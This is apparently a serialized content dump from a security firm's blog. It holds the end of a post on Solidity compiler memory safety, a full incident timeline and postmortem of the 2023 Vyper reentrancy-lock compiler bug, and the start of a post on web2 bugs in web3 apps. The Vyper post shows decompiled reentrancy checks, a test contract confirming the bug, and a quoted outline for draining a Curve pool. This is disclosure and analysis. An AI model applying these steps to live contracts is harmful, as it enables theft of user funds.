:29,"value":37889}," m_context",{"type":24,"tag":271,"props":37891,"children":37892},{"style":288},[37893],{"type":29,"value":41},{"type":24,"tag":271,"props":37895,"children":37896},{"style":598},[37897],{"type":29,"value":37898},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":271,"props":37900,"children":37901},{"style":288},[37902],{"type":29,"value":4230},{"type":24,"tag":271,"props":37904,"children":37905},{"class":273,"line":321},[37906,37911,37915,37919,37924,37929,37933,37937,37941,37945,37950],{"type":24,"tag":271,"props":37907,"children":37908},{"style":288},[37909],{"type":29,"value":37910}," CopyTranslate bodyCopier{",{"type":24,"tag":271,"props":37912,"children":37913},{"style":630},[37914],{"type":29,"value":37829},{"type":24,"tag":271,"props":37916,"children":37917},{"style":288},[37918],{"type":29,"value":41},{"type":24,"tag":271,"props":37920,"children":37921},{"style":598},[37922],{"type":29,"value":37923},"dialect",{"type":24,"tag":271,"props":37925,"children":37926},{"style":288},[37927],{"type":29,"value":37928},"(), m_context, ",{"type":24,"tag":271,"props":37930,"children":37931},{"style":630},[37932],{"type":29,"value":37829},{"type":24,"tag":271,"props":37934,"children":37935},{"style":288},[37936],{"type":29,"value":41},{"type":24,"tag":271,"props":37938,"children":37939},{"style":598},[37940],{"type":29,"value":37838},{"type":24,"tag":271,"props":37942,"children":37943},{"style":288},[37944],{"type":29,"value":37843},{"type":24,"tag":271,"props":37946,"children":37947},{"style":630},[37948],{"type":29,"value":37949},"externalReferences",{"type":24,"tag":271,"props":37951,"children":37952},{"style":288},[37953],{"type":29,"value":4006},{"type":24,"tag":271,"props":37955,"children":37956},{"class":273,"line":330},[37957],{"type":24,"tag":271,"props":37958,"children":37959},{"emptyLinePlaceholder":16},[37960],{"type":29,"value":327},{"type":24,"tag":271,"props":37962,"children":37963},{"class":273,"line":339},[37964,37969,37973,37978,37982,37986,37990,37995],{"type":24,"tag":271,"props":37965,"children":37966},{"style":288},[37967],{"type":29,"value":37968}," yul::Statement modified ",{"type":24,"tag":271,"props":37970,"children":37971},{"style":624},[37972],{"type":29,"value":762},{"type":24,"tag":271,"props":37974,"children":37975},{"style":598},[37976],{"type":29,"value":37977}," bodyCopier",{"type":24,"tag":271,"props":37979,"children":37980},{"style":288},[37981],{"type":29,"value":606},{"type":24,"tag":271,"props":37983,"children":37984},{"style":630},[37985],{"type":29,"value":37829},{"type":24,"tag":271,"props":37987,"children":37988},{"style":288},[37989],{"type":29,"value":41},{"type":24,"tag":271,"props":37991,"children":37992},{"style":598},[37993],{"type":29,"value":37994},"operations",{"type":24,"tag":271,"props":37996,"children":37997},{"style":288},[37998],{"type":29,"value":37999},"());`\n",{"type":24,"tag":3834,"props":38001,"children":38002},{"start":284},[38003],{"type":24,"tag":101,"props":38004,"children":38005},{},[38006],{"type":29,"value":38007},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":25,"props":38009,"children":38010},{},[38011],{"type":29,"value":38012},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":62,"props":38014,"children":38015},{"id":13028},[38016],{"type":29,"value":13031},{"type":24,"tag":25,"props":38018,"children":38019},{},[38020],{"type":29,"value":38021},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":25,"props":38023,"children":38024},{},[38025],{"type":29,"value":38026},"It's a promise between YUL generation and optimization.",{"type":24,"tag":26113,"props":38028,"children":38030},{"className":38029,"dataFootnotes":7},[26116],[38031,38036],{"type":24,"tag":62,"props":38032,"children":38034},{"className":38033,"id":23178},[26121],[38035],{"type":29,"value":26124},{"type":24,"tag":3834,"props":38037,"children":38038},{},[38039,38073],{"type":24,"tag":101,"props":38040,"children":38042},{"id":38041},"user-content-fn-1",[38043,38045,38050,38052,38058,38060,38065,38067],{"type":29,"value":38044},"As an interesting aside, ",{"type":24,"tag":135,"props":38046,"children":38048},{"className":38047},[],[38049],{"type":29,"value":37045},{"type":29,"value":38051}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":135,"props":38053,"children":38055},{"className":38054},[],[38056],{"type":29,"value":38057},"memory-unsafe",{"type":29,"value":38059}," code can ",{"type":24,"tag":10648,"props":38061,"children":38062},{},[38063],{"type":29,"value":38064},"decrease",{"type":29,"value":38066}," gas consumption, especially in the YUL header. ",{"type":24,"tag":32,"props":38068,"children":38071},{"href":38069,"ariaLabel":26227,"className":38070,"dataFootnoteBackref":7},"#user-content-fnref-1",[26229],[38072],{"type":29,"value":26232},{"type":24,"tag":101,"props":38074,"children":38076},{"id":38075},"user-content-fn-2",[38077,38079,38084,38086],{"type":29,"value":38078},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":10648,"props":38080,"children":38081},{},[38082],{"type":29,"value":38083},"guarantee",{"type":29,"value":38085}," behavior with opaque bytes. ",{"type":24,"tag":32,"props":38087,"children":38090},{"href":38088,"ariaLabel":26247,"className":38089,"dataFootnoteBackref":7},"#user-content-fnref-2",[26229],[38091],{"type":29,"value":26232},{"type":24,"tag":10562,"props":38093,"children":38094},{},[38095],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":38097},[38098,38099,38100,38101,38102,38103,38104],{"id":36692,"depth":284,"text":36695},{"id":36746,"depth":284,"text":36749},{"id":37007,"depth":284,"text":37010},{"id":36741,"depth":284,"text":37231},{"id":37578,"depth":284,"text":37581},{"id":13028,"depth":284,"text":13031},{"id":23178,"depth":284,"text":26124},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":38109,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38110,"description":38111,"author":13438,"image":38112,"date":38114,"isFeatured":16,"onBlogPage":16,"tags":38115,"body":38117,"_type":10599,"_id":38867,"_source":10601,"_file":38868,"_stem":38869,"_extension":10604},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":38113,"height":21324,"width":21324},"/posts/vyper-timeline/header.jpg","2023-08-01",[38116,36687],"vyper",{"type":21,"children":38118,"toc":38858},[38119,38124,38129,38134,38140,38145,38163,38173,38178,38186,38196,38215,38295,38305,38464,38469,38474,38484,38491,38496,38501,38515,38520,38537,38554,38573,38583,38596,38601,38614,38619,38624,38634,38661,38671,38701,38707,38716,38722,38727,38732,38737,38743,38748,38762,38767,38772,38777,38783,38788,38801,38827,38832,38854],{"type":24,"tag":25,"props":38120,"children":38121},{},[38122],{"type":29,"value":38123},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":25,"props":38125,"children":38126},{},[38127],{"type":29,"value":38128},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":25,"props":38130,"children":38131},{},[38132],{"type":29,"value":38133},"Here's how it all happened.",{"type":24,"tag":62,"props":38135,"children":38137},{"id":38136},"timeline",[38138],{"type":29,"value":38139},"Timeline",{"type":24,"tag":25,"props":38141,"children":38142},{},[38143],{"type":29,"value":38144},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":25,"props":38146,"children":38147},{},[38148,38153,38155,38162],{"type":24,"tag":213,"props":38149,"children":38150},{},[38151],{"type":29,"value":38152},"13:10 UTC",{"type":29,"value":38154}," pETH/ETH was ",{"type":24,"tag":32,"props":38156,"children":38159},{"href":38157,"rel":38158},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[36],[38160],{"type":29,"value":38161},"drained of $11M",{"type":29,"value":41},{"type":24,"tag":25,"props":38164,"children":38165},{},[38166,38171],{"type":24,"tag":213,"props":38167,"children":38168},{},[38169],{"type":29,"value":38170},"13:19 UTC",{"type":29,"value":38172}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":25,"props":38174,"children":38175},{},[38176],{"type":29,"value":38177},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":10670,"props":38179,"children":38180},{},[38181],{"type":24,"tag":25,"props":38182,"children":38183},{},[38184],{"type":29,"value":38185},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":25,"props":38187,"children":38188},{},[38189,38194],{"type":24,"tag":213,"props":38190,"children":38191},{},[38192],{"type":29,"value":38193},"14:01 UTC",{"type":29,"value":38195}," A warroom was formed around this comment.",{"type":24,"tag":25,"props":38197,"children":38198},{},[38199,38204,38206,38213],{"type":24,"tag":213,"props":38200,"children":38201},{},[38202],{"type":29,"value":38203},"14:07 UTC",{"type":29,"value":38205}," We decompiled the JPEGd contract ",{"type":24,"tag":32,"props":38207,"children":38210},{"href":38208,"rel":38209},"https://ethervm.io/decompile",[36],[38211],{"type":29,"value":38212},"with our favorite decompiler",{"type":29,"value":38214}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":261,"props":38216,"children":38220},{"className":38217,"code":38218,"language":38219,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[38221],{"type":24,"tag":135,"props":38222,"children":38223},{"__ignoreMap":7},[38224,38232,38240,38248,38256,38263,38271,38279,38287],{"type":24,"tag":271,"props":38225,"children":38226},{"class":273,"line":274},[38227],{"type":24,"tag":271,"props":38228,"children":38229},{},[38230],{"type":29,"value":38231},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":271,"props":38233,"children":38234},{"class":273,"line":284},[38235],{"type":24,"tag":271,"props":38236,"children":38237},{},[38238],{"type":29,"value":38239},"label_0057:\n",{"type":24,"tag":271,"props":38241,"children":38242},{"class":273,"line":294},[38243],{"type":24,"tag":271,"props":38244,"children":38245},{},[38246],{"type":29,"value":38247}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":271,"props":38249,"children":38250},{"class":273,"line":303},[38251],{"type":24,"tag":271,"props":38252,"children":38253},{},[38254],{"type":29,"value":38255}," storage[0x00] = 0x01;\n",{"type":24,"tag":271,"props":38257,"children":38258},{"class":273,"line":312},[38259],{"type":24,"tag":271,"props":38260,"children":38261},{"emptyLinePlaceholder":16},[38262],{"type":29,"value":327},{"type":24,"tag":271,"props":38264,"children":38265},{"class":273,"line":321},[38266],{"type":24,"tag":271,"props":38267,"children":38268},{},[38269],{"type":29,"value":38270},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":271,"props":38272,"children":38273},{"class":273,"line":330},[38274],{"type":24,"tag":271,"props":38275,"children":38276},{},[38277],{"type":29,"value":38278},"label_1AF3:\n",{"type":24,"tag":271,"props":38280,"children":38281},{"class":273,"line":339},[38282],{"type":24,"tag":271,"props":38283,"children":38284},{},[38285],{"type":29,"value":38286}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":271,"props":38288,"children":38289},{"class":273,"line":347},[38290],{"type":24,"tag":271,"props":38291,"children":38292},{},[38293],{"type":29,"value":38294}," storage[0x02] = 0x01;\n",{"type":24,"tag":25,"props":38296,"children":38297},{},[38298,38303],{"type":24,"tag":213,"props":38299,"children":38300},{},[38301],{"type":29,"value":38302},"14:27 UTC",{"type":29,"value":38304}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":261,"props":38306,"children":38308},{"className":27150,"code":38307,"language":27149,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[38309],{"type":24,"tag":135,"props":38310,"children":38311},{"__ignoreMap":7},[38312,38320,38341,38375,38387,38394,38401,38420,38452],{"type":24,"tag":271,"props":38313,"children":38314},{"class":273,"line":274},[38315],{"type":24,"tag":271,"props":38316,"children":38317},{"style":598},[38318],{"type":29,"value":38319},"@external\n",{"type":24,"tag":271,"props":38321,"children":38322},{"class":273,"line":284},[38323,38328,38332,38337],{"type":24,"tag":271,"props":38324,"children":38325},{"style":598},[38326],{"type":29,"value":38327},"@nonreentrant",{"type":24,"tag":271,"props":38329,"children":38330},{"style":288},[38331],{"type":29,"value":606},{"type":24,"tag":271,"props":38333,"children":38334},{"style":378},[38335],{"type":29,"value":38336},"\"lock\"",{"type":24,"tag":271,"props":38338,"children":38339},{"style":288},[38340],{"type":29,"value":694},{"type":24,"tag":271,"props":38342,"children":38343},{"class":273,"line":294},[38344,38349,38354,38358,38362,38367,38371],{"type":24,"tag":271,"props":38345,"children":38346},{"style":278},[38347],{"type":29,"value":38348},"def",{"type":24,"tag":271,"props":38350,"children":38351},{"style":598},[38352],{"type":29,"value":38353}," test",{"type":24,"tag":271,"props":38355,"children":38356},{"style":288},[38357],{"type":29,"value":606},{"type":24,"tag":271,"props":38359,"children":38360},{"style":630},[38361],{"type":29,"value":8729},{"type":24,"tag":271,"props":38363,"children":38364},{"style":288},[38365],{"type":29,"value":38366},": address) -> ",{"type":24,"tag":271,"props":38368,"children":38369},{"style":3887},[38370],{"type":29,"value":37360},{"type":24,"tag":271,"props":38372,"children":38373},{"style":288},[38374],{"type":29,"value":13286},{"type":24,"tag":271,"props":38376,"children":38377},{"class":273,"line":303},[38378,38382],{"type":24,"tag":271,"props":38379,"children":38380},{"style":749},[38381],{"type":29,"value":9640},{"type":24,"tag":271,"props":38383,"children":38384},{"style":278},[38385],{"type":29,"value":38386}," True\n",{"type":24,"tag":271,"props":38388,"children":38389},{"class":273,"line":312},[38390],{"type":24,"tag":271,"props":38391,"children":38392},{"emptyLinePlaceholder":16},[38393],{"type":29,"value":327},{"type":24,"tag":271,"props":38395,"children":38396},{"class":273,"line":321},[38397],{"type":24,"tag":271,"props":38398,"children":38399},{"style":598},[38400],{"type":29,"value":38319},{"type":24,"tag":271,"props":38402,"children":38403},{"class":273,"line":330},[38404,38408,38412,38416],{"type":24,"tag":271,"props":38405,"children":38406},{"style":598},[38407],{"type":29,"value":38327},{"type":24,"tag":271,"props":38409,"children":38410},{"style":288},[38411],{"type":29,"value":606},{"type":24,"tag":271,"props":38413,"children":38414},{"style":378},[38415],{"type":29,"value":38336},{"type":24,"tag":271,"props":38417,"children":38418},{"style":288},[38419],{"type":29,"value":694},{"type":24,"tag":271,"props":38421,"children":38422},{"class":273,"line":339},[38423,38427,38432,38436,38440,38444,38448],{"type":24,"tag":271,"props":38424,"children":38425},{"style":278},[38426],{"type":29,"value":38348},{"type":24,"tag":271,"props":38428,"children":38429},{"style":598},[38430],{"type":29,"value":38431}," test2",{"type":24,"tag":271,"props":38433,"children":38434},{"style":288},[38435],{"type":29,"value":606},{"type":24,"tag":271,"props":38437,"children":38438},{"style":630},[38439],{"type":29,"value":8729},{"type":24,"tag":271,"props":38441,"children":38442},{"style":288},[38443],{"type":29,"value":38366},{"type":24,"tag":271,"props":38445,"children":38446},{"style":3887},[38447],{"type":29,"value":37360},{"type":24,"tag":271,"props":38449,"children":38450},{"style":288},[38451],{"type":29,"value":13286},{"type":24,"tag":271,"props":38453,"children":38454},{"class":273,"line":347},[38455,38459],{"type":24,"tag":271,"props":38456,"children":38457},{"style":749},[38458],{"type":29,"value":9640},{"type":24,"tag":271,"props":38460,"children":38461},{"style":278},[38462],{"type":29,"value":38463}," False\n",{"type":24,"tag":25,"props":38465,"children":38466},{},[38467],{"type":29,"value":38468},"This was not just another reentrancy bug.",{"type":24,"tag":25,"props":38470,"children":38471},{},[38472],{"type":29,"value":38473},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":25,"props":38475,"children":38476},{},[38477,38482],{"type":24,"tag":213,"props":38478,"children":38479},{},[38480],{"type":29,"value":38481},"14:37 UTC",{"type":29,"value":38483}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":25,"props":38485,"children":38486},{},[38487],{"type":24,"tag":74,"props":38488,"children":38490},{"alt":7,"src":38489},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":25,"props":38492,"children":38493},{},[38494],{"type":29,"value":38495},"It was a race with the hackers.",{"type":24,"tag":25,"props":38497,"children":38498},{},[38499],{"type":29,"value":38500},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":10670,"props":38502,"children":38503},{},[38504],{"type":24,"tag":25,"props":38505,"children":38506},{},[38507,38509],{"type":29,"value":38508},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":32,"props":38510,"children":38513},{"href":38511,"rel":38512},"https://twitter.com/hexagate_/status/1685677801813217280",[36],[38514],{"type":29,"value":38511},{"type":24,"tag":25,"props":38516,"children":38517},{},[38518],{"type":29,"value":38519},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":25,"props":38521,"children":38522},{},[38523,38528,38529,38536],{"type":24,"tag":213,"props":38524,"children":38525},{},[38526],{"type":29,"value":38527},"14:50 UTC",{"type":29,"value":3360},{"type":24,"tag":32,"props":38530,"children":38533},{"href":38531,"rel":38532},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[36],[38534],{"type":29,"value":38535},"msETH/ETH was drained",{"type":29,"value":41},{"type":24,"tag":25,"props":38538,"children":38539},{},[38540,38545,38546,38553],{"type":24,"tag":213,"props":38541,"children":38542},{},[38543],{"type":29,"value":38544},"15:34 UTC",{"type":29,"value":3360},{"type":24,"tag":32,"props":38547,"children":38550},{"href":38548,"rel":38549},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[36],[38551],{"type":29,"value":38552},"alETH/ETH was drained",{"type":29,"value":41},{"type":24,"tag":25,"props":38555,"children":38556},{},[38557,38562,38564,38571],{"type":24,"tag":213,"props":38558,"children":38559},{},[38560],{"type":29,"value":38561},"15:43 UTC",{"type":29,"value":38563}," We identified that ",{"type":24,"tag":32,"props":38565,"children":38568},{"href":38566,"rel":38567},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[36],[38569],{"type":29,"value":38570},"CRV/ETH was vulnerable",{"type":29,"value":38572},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":25,"props":38574,"children":38575},{},[38576,38581],{"type":24,"tag":213,"props":38577,"children":38578},{},[38579],{"type":29,"value":38580},"16:11 UTC",{"type":29,"value":38582}," We began working on a whitehat exploit.",{"type":24,"tag":25,"props":38584,"children":38585},{},[38586,38588,38595],{"type":29,"value":38587},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":32,"props":38589,"children":38592},{"href":38590,"rel":38591},"https://twitter.com/vyperlang/status/1685692973051498497",[36],[38593],{"type":29,"value":38594},"public statement on affected versions",{"type":29,"value":41},{"type":24,"tag":25,"props":38597,"children":38598},{},[38599],{"type":29,"value":38600},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":25,"props":38602,"children":38603},{},[38604,38606,38613],{"type":29,"value":38605},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":32,"props":38607,"children":38610},{"href":38608,"rel":38609},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[36],[38611],{"type":29,"value":38612},"somebody else stole the funds",{"type":29,"value":41},{"type":24,"tag":25,"props":38615,"children":38616},{},[38617],{"type":29,"value":38618},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":25,"props":38620,"children":38621},{},[38622],{"type":29,"value":38623},"Nevertheless, there was more ground to cover.",{"type":24,"tag":25,"props":38625,"children":38626},{},[38627,38632],{"type":24,"tag":213,"props":38628,"children":38629},{},[38630],{"type":29,"value":38631},"21:26 UTC",{"type":29,"value":38633}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":10670,"props":38635,"children":38636},{},[38637],{"type":24,"tag":25,"props":38638,"children":38639},{},[38640,38642,38646,38648,38651,38653,38656,38658],{"type":29,"value":38641},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":38643,"props":38644,"children":38645},"br",{},[],{"type":29,"value":38647},"\nyou can then update admin fee ",{"type":24,"tag":38643,"props":38649,"children":38650},{},[],{"type":29,"value":38652},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":38643,"props":38654,"children":38655},{},[],{"type":29,"value":38657},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":38643,"props":38659,"children":38660},{},[],{"type":24,"tag":25,"props":38662,"children":38663},{},[38664,38669],{"type":24,"tag":213,"props":38665,"children":38666},{},[38667],{"type":29,"value":38668},"21:52 UTC",{"type":29,"value":38670}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":25,"props":38672,"children":38673},{},[38674,38676,38683,38685,38692,38700],{"type":29,"value":38675},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":32,"props":38677,"children":38680},{"href":38678,"rel":38679},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[36],[38681],{"type":29,"value":38682},"CRV admin fee bot",{"type":29,"value":38684}," had claimed fees and ",{"type":24,"tag":32,"props":38686,"children":38689},{"href":38687,"rel":38688},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[36],[38690],{"type":29,"value":38691},"the pool was drained",{"type":24,"tag":23171,"props":38693,"children":38694},{},[38695],{"type":24,"tag":32,"props":38696,"children":38698},{"href":37298,"ariaDescribedBy":38697,"dataFootnoteRef":7,"id":37300},[23178],[38699],{"type":29,"value":156},{"type":29,"value":41},{"type":24,"tag":62,"props":38702,"children":38704},{"id":38703},"blame",[38705],{"type":29,"value":38706},"Blame",{"type":24,"tag":25,"props":38708,"children":38709},{},[38710,38714],{"type":24,"tag":10648,"props":38711,"children":38712},{},[38713],{"type":29,"value":38706},{"type":29,"value":38715}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":85,"props":38717,"children":38719},{"id":38718},"races",[38720],{"type":29,"value":38721},"Races",{"type":24,"tag":25,"props":38723,"children":38724},{},[38725],{"type":29,"value":38726},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":25,"props":38728,"children":38729},{},[38730],{"type":29,"value":38731},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":25,"props":38733,"children":38734},{},[38735],{"type":29,"value":38736},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":24,"tag":85,"props":38738,"children":38740},{"id":38739},"information-leakage",[38741],{"type":29,"value":38742},"Information Leakage",{"type":24,"tag":25,"props":38744,"children":38745},{},[38746],{"type":29,"value":38747},"I was both an auditor and a whitehat.",{"type":24,"tag":25,"props":38749,"children":38750},{},[38751,38753,38760],{"type":29,"value":38752},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":32,"props":38754,"children":38757},{"href":38755,"rel":38756},"https://twitter.com/osec_io/status/1579969927020412929",[36],[38758],{"type":29,"value":38759},"by publishing the \"scoop\"",{"type":29,"value":38761}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":25,"props":38763,"children":38764},{},[38765],{"type":29,"value":38766},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":25,"props":38768,"children":38769},{},[38770],{"type":29,"value":38771},"Half an hour more could have saved $18M.",{"type":24,"tag":25,"props":38773,"children":38774},{},[38775],{"type":29,"value":38776},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":24,"tag":62,"props":38778,"children":38780},{"id":38779},"next-steps",[38781],{"type":29,"value":38782},"Next Steps",{"type":24,"tag":25,"props":38784,"children":38785},{},[38786],{"type":29,"value":38787},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":25,"props":38789,"children":38790},{},[38791,38793,38800],{"type":29,"value":38792},"It's important to note that this bug ",{"type":24,"tag":32,"props":38794,"children":38797},{"href":38795,"rel":38796},"https://twitter.com/real_philogy/status/1685948253139857409",[36],[38798],{"type":29,"value":38799},"was patched since November 2021",{"type":29,"value":41},{"type":24,"tag":10670,"props":38802,"children":38803},{},[38804],{"type":24,"tag":25,"props":38805,"children":38806},{},[38807,38809,38814,38815,38818,38820,38825],{"type":29,"value":38808},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":10648,"props":38810,"children":38811},{},[38812],{"type":29,"value":38813},"processes",{"type":29,"value":26223},{"type":24,"tag":38643,"props":38816,"children":38817},{},[],{"type":29,"value":38819},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":10648,"props":38821,"children":38822},{},[38823],{"type":29,"value":38824},"was",{"type":29,"value":38826}," fixed.",{"type":24,"tag":25,"props":38828,"children":38829},{},[38830],{"type":29,"value":38831},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":26113,"props":38833,"children":38835},{"className":38834,"dataFootnotes":7},[26116],[38836,38841],{"type":24,"tag":62,"props":38837,"children":38839},{"className":38838,"id":23178},[26121],[38840],{"type":29,"value":26124},{"type":24,"tag":3834,"props":38842,"children":38843},{},[38844],{"type":24,"tag":101,"props":38845,"children":38846},{"id":38041},[38847,38849],{"type":29,"value":38848},"Thankfully, these funds were later returned. ",{"type":24,"tag":32,"props":38850,"children":38852},{"href":38069,"ariaLabel":26227,"className":38851,"dataFootnoteBackref":7},[26229],[38853],{"type":29,"value":26232},{"type":24,"tag":10562,"props":38855,"children":38856},{},[38857],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":38859},[38860,38861,38865,38866],{"id":38136,"depth":284,"text":38139},{"id":38703,"depth":284,"text":38706,"children":38862},[38863,38864],{"id":38718,"depth":294,"text":38721},{"id":38739,"depth":294,"text":38742},{"id":38779,"depth":284,"text":38782},{"id":23178,"depth":284,"text":26124},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":38871,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38872,"description":38873,"author":38874,"image":38877,"date":38879,"isFeatured":16,"tags":38880,"onBlogPage":16,"body":38883,"_type":10599,"_id":43086,"_source":10601,"_file":43087,"_stem":43088,"_extension":10604},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[38875,38876],"caue","bruno",{"src":38878,"height":21324,"width":21324},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[38881,38882],"nft-marketplaces","xss",{"type":21,"children":38884,"toc":43069},[38885,38889,38894,38898,38903,38908,38913,38929,38935,38948,38970,38977,38982,38989,38994,39000,39005,39010,39015,39020,39031,39036,40000,40010,40022,40029,40034,40853,40858,40863,40868,40873,41657,41662,41744,41749,41818,41824,41829,41834,42061,42074,42079,42084,42089,42096,42101,42108,42114,42119,42124,42129,42447,42452,42458,42474,42480,42485,42490,42500,42505,42510,42519,42524,42530,42546,42559,42564,42569,42589,42596,42601,42608,42617,42622,42643,42696,42701,42752,42766,42771,42785,42899,42922,43006,43029,43034,43039,43044,43049,43054,43060,43065],{"type":24,"tag":62,"props":38886,"children":38887},{"id":36692},[38888],{"type":29,"value":36695},{"type":24,"tag":25,"props":38890,"children":38891},{},[38892],{"type":29,"value":38893},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":85,"props":38895,"children":38896},{"id":10655},[38897],{"type":29,"value":10658},{"type":24,"tag":25,"props":38899,"children":38900},{},[38901],{"type":29,"value":38902},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":25,"props":38904,"children":38905},{},[38906],{"type":29,"value":38907},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot 